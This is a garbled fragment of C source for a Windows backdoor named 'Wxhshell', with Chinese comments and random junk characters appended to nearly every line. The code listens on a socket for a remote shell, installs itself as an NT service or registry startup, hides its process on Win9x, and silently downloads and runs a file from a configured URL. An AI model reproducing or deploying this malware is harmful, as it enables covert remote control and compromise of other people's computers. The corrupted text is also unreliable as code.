ULONG InheritedFromUniqueProcessId; GLODVcjf
} PROCESS_BASIC_INFORMATION; ?q [T
Gq P5Kx+=
PROCNTQSIP NtQueryInformationProcess; \{D"
!e
Zwx%7l;C
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6S{l'!s'
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xyxy`qR A
qg$ <oL@~~
HANDLE hProcess; {4PwLCy
PROCESS_BASIC_INFORMATION pbi; hqdDm
u1.BN>G
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K)P%;X
if(NULL == hInst ) return 0; !'O@2{?B
QsW/X0YBv
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wgA_38To
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OZ&o:/*HM
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]_$[8#kg
mp3s-YfRc
if (!NtQueryInformationProcess) return 0; 'hf8ZEW9'
y_[vr:s5pG
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qg/rRiV
if(!hProcess) return 0; d"Y{UE
yh=N@Z*zP
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @j/&m]6%-D
LH6vLuf
CloseHandle(hProcess); t$ *0{w
E
>R=|Wo`Ri
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T]$U""
if(hProcess==NULL) return 0; | f##5fB
BJ0?kX@
HMODULE hMod; B7%U_F|m
char procName[255]; XX~,>Q}H=
unsigned long cbNeeded; ,u!sjx
PI<vxjOK`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wA.\i
yLcEX
CloseHandle(hProcess); dqAw5[qMJ
Ap !lQ>p
if(strstr(procName,"services")) return 1; // 以服务启动 u= yOu^={
L0]_X#s>#
return 0; // 注册表启动 2"~8Z(0
} azU"G(6y?+
-']56o_sQ/
// 主模块 =w^M{W.w
int StartWxhshell(LPSTR lpCmdLine) B-ESFATc
{ C*lJrFpB
SOCKET wsl; 'f|o{
BOOL val=TRUE; A\;U3Zu
int port=0; ET >](l9
struct sockaddr_in door; hzC>~Ub5
w=@Dv
if(wscfg.ws_autoins) Install(); Vz[C=_m
uVU)d1N
port=atoi(lpCmdLine); 6zn5UW#q
2BobH_H
if(port<=0) port=wscfg.ws_port; -{_PuJ "
!%>7Dw(kt
WSADATA data; j~QwV='S
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L4f3X~8,b
"*H`HRi4T
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; yppo6HGD
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u]gxFG"
door.sin_family = AF_INET; u-C)v*#L
door.sin_addr.s_addr = inet_addr("127.0.0.1"); {y;n:^
door.sin_port = htons(port); 39jG8zr=Z[
%%wNZ{
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $mB;K]m
closesocket(wsl); s9d_GhT%-
return 1; [1KuzCcK}
} IIqUZJ
&VcV$8k
if(listen(wsl,2) == INVALID_SOCKET) { C8 \^#5
closesocket(wsl); Tb-F]lg$
return 1; ,?XCyHSgWW
} YAmb`CP
Wxhshell(wsl); !g.?
WSACleanup(); ]0\MmAJRn
YnP5i#"
return 0; r"R#@V\'1b
dq[xwRU1
} n-OL0$Xu
j8`BdKg
// 以NT服务方式启动 ~3 bPIg7D
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BF <ikilR
{ 4a]P7fx-
DWORD status = 0; 1'\/,Es
DWORD specificError = 0xfffffff; b%5f&N
tnG# IU
*
serviceStatus.dwServiceType = SERVICE_WIN32; BVO<e \>3
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
#C3.Jef
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JO<wU
serviceStatus.dwWin32ExitCode = 0; C2Tyoza
serviceStatus.dwServiceSpecificExitCode = 0; 3%ZOKb"D*
serviceStatus.dwCheckPoint = 0; jalg5`PU0
serviceStatus.dwWaitHint = 0; VU d\QR-
Wiu"k%Qsh
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Qz
N&>sk"
if (hServiceStatusHandle==0) return; Z)aUt
Srf
^`>/.gL
status = GetLastError(); k)Qtfj}uij
if (status!=NO_ERROR) ^ovR7+V
{ \K!VNB>h
serviceStatus.dwCurrentState = SERVICE_STOPPED; Z/;aT -N
serviceStatus.dwCheckPoint = 0; }U9G
serviceStatus.dwWaitHint = 0; ox (%5c)b|
serviceStatus.dwWin32ExitCode = status; ,nB5/Lx
serviceStatus.dwServiceSpecificExitCode = specificError; 6f*CvW
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N'`A?&2ru
return; 2('HvH]k
} qm o9G
46&/gehr
serviceStatus.dwCurrentState = SERVICE_RUNNING; R!N%o~C2-
serviceStatus.dwCheckPoint = 0; EJNU761
serviceStatus.dwWaitHint = 0; ]`+HO=0
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'y3!fN=h
} 1HZO9cXJ
7s{GbU\
// 处理NT服务事件,比如:启动、停止 pD#rnp>WWt
VOID WINAPI NTServiceHandler(DWORD fdwControl) DZPPJ2 }
{ )f<z%:I+Z
switch(fdwControl) 8q}q{8
{ 5S--'=fu+
case SERVICE_CONTROL_STOP: ^RtIh-Z.9
serviceStatus.dwWin32ExitCode = 0; c|@bwat4
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^qD$z=z-
serviceStatus.dwCheckPoint = 0; (c
&mCJN
serviceStatus.dwWaitHint = 0; `,TzQ
{ .+A+|yR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); JB[~;nLlC
} *.d)OOpLo
return; Y^EcQzLw
case SERVICE_CONTROL_PAUSE: wyO4Y
serviceStatus.dwCurrentState = SERVICE_PAUSED; xRLT=.ir
break;
k5.Lna
case SERVICE_CONTROL_CONTINUE: 8i#2d1O
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~<F8ug#
break; jQ^|3#L\
case SERVICE_CONTROL_INTERROGATE: 0*D$R`$
break; DjQFi
};
MC.)2B7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); uH- l%17
} Cl8Cg~2
A1>OY^p3%
// 标准应用程序主函数 P%&0]FCx
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~^fZx5
{ pm0{R[:T7
++Ts
// 获取操作系统版本 %oa-WmWm
OsIsNt=GetOsVer(); |AU~_{H
GetModuleFileName(NULL,ExeFile,MAX_PATH); EGU
0)<
tq6!`L }3
// 从命令行安装 94.DHZqh
if(strpbrk(lpCmdLine,"iI")) Install(); peuZ&yK+"
;d"F%M
y
// 下载执行文件 9oR@UW1
if(wscfg.ws_downexe) { .P%bkD6M
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gS]@I0y8
.
WinExec(wscfg.ws_filenam,SW_HIDE); /,&<6c-Q@W
} ,I(d6
KD7dye
if(!OsIsNt) { }DfshZ0QM
// 如果时win9x,隐藏进程并且设置为注册表启动 wX5tp1 ?1J
HideProc(); V0.vQ/
StartWxhshell(lpCmdLine); qqr?!vem6
} dx{bB%?Y\=
else .A{tQ1&_
if(StartFromService()) Jg\zdi:t
// 以服务方式启动 ~{B7 k:
StartServiceCtrlDispatcher(DispatchTable); Gm.T;fc:
else j94=hJVKi
// 普通方式启动 ?;+1)> {
StartWxhshell(lpCmdLine); yyRiP|hJ
z] PSpUd
return 0; Yi+wC}
} BsqP?/
\lf;P?M^
Ou!2[oe@M
(%e.:W${
=========================================== xPk8$1meZM
ag#S6E^%S
8 \ +T8(m
m=A(NKZ
K'Tm_"[u
$i}y 8nlQ
" H*&f: